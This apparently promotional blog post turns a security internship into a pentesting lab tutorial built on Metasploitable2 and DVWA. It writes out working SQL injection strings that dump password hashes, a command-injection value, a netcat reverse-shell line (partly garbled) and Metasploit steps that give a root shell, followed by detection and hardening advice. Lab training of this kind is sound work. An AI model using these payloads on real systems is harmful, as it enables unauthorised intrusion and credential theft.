Listen to this Post
Introduction:
The transition from academic cybersecurity theory to practical offensive security operations represents a critical inflection point in any security professional’s development. Moosa Adnan’s recently completed 60-day internship at ApexPlanet Software Pvt Ltd exemplifies this transformation, moving from classroom concepts to executing full-scope Vulnerability Assessment and Penetration Testing (VAPT) within an isolated, enterprise-emulative environment. His engagement, spanning February 11 to April 11, 2026, highlights the indispensable role of hands-on simulated labs in cultivating the technical intuition required to identify, exploit, and remediate real-world vulnerabilities across networks and web applications.
Learning Objectives & Secrets:
- Objective 1: Engineer a Secure, Isolated Testing Lab. Configure a host-only virtualized environment using Kali Linux (attacker) and Metasploitable2 (target) to ensure all offensive activities remain contained and legally compliant.
- Objective 2 Secret Tips: Master Active Reconnaissance. Go beyond default Nmap scans. Utilize `-sC` (default scripts) and `-sV` (version detection) to fingerprint services accurately, and pair Nmap with Wireshark to analyze raw packet responses for stealthy host discovery.
- Objective 3 Secret Tips: Exploit Web Layers with Precision. When using Burp Suite for SQLi, employ the “Compare” function in Repeater to visually differentiate true/false responses, enabling effective blind injection. For Command Injection, always test with time-based payloads (e.g.,
sleep 5) before attempting out-of-band exfiltration.
You Should Know:
1. Setting Up the Host-Only Virtual Lab
This foundational step ensures your testing environment is isolated from your host network and the internet, preventing unintended damage or legal violations.
- Step 1: Install VirtualBox or VMware Workstation on your host machine.
- Step 2: Import the Kali Linux VM. Set its network adapter to “Host-Only” (e.g., vboxnet0).
- Step 3: Import the Metasploitable2 VM. Assign the same Host-Only network adapter.
- Step 4: Boot both VMs. Determine their IP addresses using `ip a` on Kali and `ifconfig` on Metasploitable2.
- Step 5: Verify connectivity. From Kali, execute
ping -c 4 <Metasploitable_IP>. A successful response confirms your lab is operational.
2. Network Reconnaissance & Vulnerability Scanning
Active reconnaissance is the key to attack surface mapping. You will identify live hosts, open ports, and running services.
- Step 1: Ping Sweep. Discover the Metasploitable host:
nmap -sn 192.168.56.0/24. - Step 2: Comprehensive Port Scan. Scan all 65,535 ports with service version detection:
sudo nmap -sS -sV -p- -T4 -O <Target_IP>. - Step 3: Default Script Scan. Enumerate vulnerabilities and common misconfigurations:
sudo nmap -sC -sV -p 21,22,80,443,445 <Target_IP>. - Step 4: Vulnerability Scanning with Nessus. Configure a new scan in Nessus (professional or free version). Target the Metasploitable IP. Run the “Basic Network Scan” template. Review the critical and high-severity findings, noting CVEs and remediation advice.
- Step 5: Packet Analysis. Initiate a scan from Kali and simultaneously capture the traffic in Wireshark on the host-only interface. Filter with `tcp.port == 445` to observe SMB negotiation and authentication attempts.
3. Web Application Penetration Testing (OWASP Top 10)
Web apps remain the most common attack vector. You’ll use DVWA (Damn Vulnerable Web Application) as your target.
- Step 1: Access DVWA. On Metasploitable, locate the IP:
ifconfig. From Kali, navigate tohttp://<Target_IP>/dvwa. Login (default: admin/password). - Step 2: SQL Injection (SQLi). Navigate to the “SQL Injection” page. Enter `1′ OR ‘1’=’1` to bypass authentication. In Burp Suite (configured as a proxy), intercept the request and send it to Repeater. Modifying the `id` parameter to `1′ UNION SELECT user,password FROM users– -` extracts hashes.
- Step 3: Cross-Site Scripting (XSS). On the “XSS (Reflected)” page, enter `` into the input field. This confirms the application fails to sanitize user input, allowing arbitrary JavaScript execution.
- Step 4: Command Injection. Navigate to the “Command Injection” page. Enter `127.0.0.1; ls -la` to execute system commands on the underlying OS. For more severe impact, use `127.0.0.1; nc -e /bin/sh
4444` to establish a reverse shell.
4. Exploitation with Metasploit Framework
Metasploit transforms identified vulnerabilities into functional exploits. Achieve Remote Command Execution (RCE) and root-level compromise.
- Step 1: Launch Metasploit. Open a terminal:
msfconsole. - Step 2: Search for an Exploit. Metasploitable2 is vulnerable to the Samba `usermap_script` vulnerability:
search usermap. - Step 3: Select and Configure.
use exploit/multi/samba/usermap_script. Set the remote target:set RHOSTS <Target_IP>. - Step 4: Payload Selection. Set the payload:
set payload cmd/unix/reverse_netcat. - Step 5: Local Listener. Set the local host (your Kali IP):
set LHOST <Kali_IP>. - Step 6: Execute. Type
run. You will receive a reverse shell on your listener. To confirm root access, run `whoami` orid. The output should indicateroot.
5. Capstone Project: Network Auditing & Incident Response
This final phase simulates a real-world breach scenario where you must not only exploit but also detect and respond.
- Step 1: Simulate Intrusion. Execute a known exploit (e.g., the Samba vulnerability) to compromise the target.
- Step 2: Incident Detection. Use Wireshark to analyze network captures. Identify the anomalous traffic patterns (e.g., outbound connections on port 4444).
- Step 3: Forensic Analysis. Log into Metasploitable. Check system logs:
sudo cat /var/log/auth.log | grep -i "session opened". - Step 4: Hardening & Mitigation. Document immediate countermeasures: disabling unused services, applying patches (Samba security updates), and implementing stricter firewall rules (e.g.,
sudo ufw deny 4444). - Step 5: Final Reporting. Compile a comprehensive report detailing the exploitation chain, impact assessment, and step-by-step remediation steps.
What Undercode Say:
- Key Takeaway 1: True mastery of offensive security is contingent on the deliberate construction and navigation of safe, realistic testbeds. Isolated, host-only virtual labs are non-1egotiable for skill development and process automation.
- Key Takeaway 2: The synergy between automated scanning (Nessus/Nmap) and manual validation (Burp Suite/Metasploit) is what differentiates a vulnerability assessor from a true penetration tester. Automation provides a massive dataset, but human intuition and context drive the critical exploitation phase.
Analysis: Moosa’s internship underscores a pivotal industry trend: the demand for professionals who can “speak both languages” of offense and defense. His ability to engineer the lab, execute the attacks, and then pivot to an incident response simulation demonstrates a holistic, “purple team” mindset. The use of canonical tools like Metasploit, Burp Suite, and Wireshark is standard, but the emphasis on end-to-end process—from the initial ping sweep to final documentation—is what prepares a candidate for the rigor of enterprise security operations. This approach cultivates not just technical prowess, but also the critical soft skills of reporting and communication, which are often the missing link in technical careers.
Prediction:
- +1: The accessibility of open-source tools and intentionally vulnerable VMs (like Metasploitable and DVWA) will continue to lower the barrier to entry, democratizing advanced cybersecurity education globally.
- +1: We will see a rise in “VAPT-as-a-Service” platforms that replicate these simulated environments, enabling junior professionals to gain immediate, risk-free experience while providing corporations with crowdsourced security insights.
- -1: Over-reliance on automated scanners like Nessus without manual exploitation skills will create a “tick-box” culture, leaving critical logic flaws and business-layer vulnerabilities undiscovered.
- -1: As AI tools automate basic exploit generation, the competitive advantage will shift to professionals who can understand and manipulate complex, multi-step attack chains, making the deep technical foundational work from this internship more valuable than ever.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: https://lnkd.in/p/et7ang_U – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
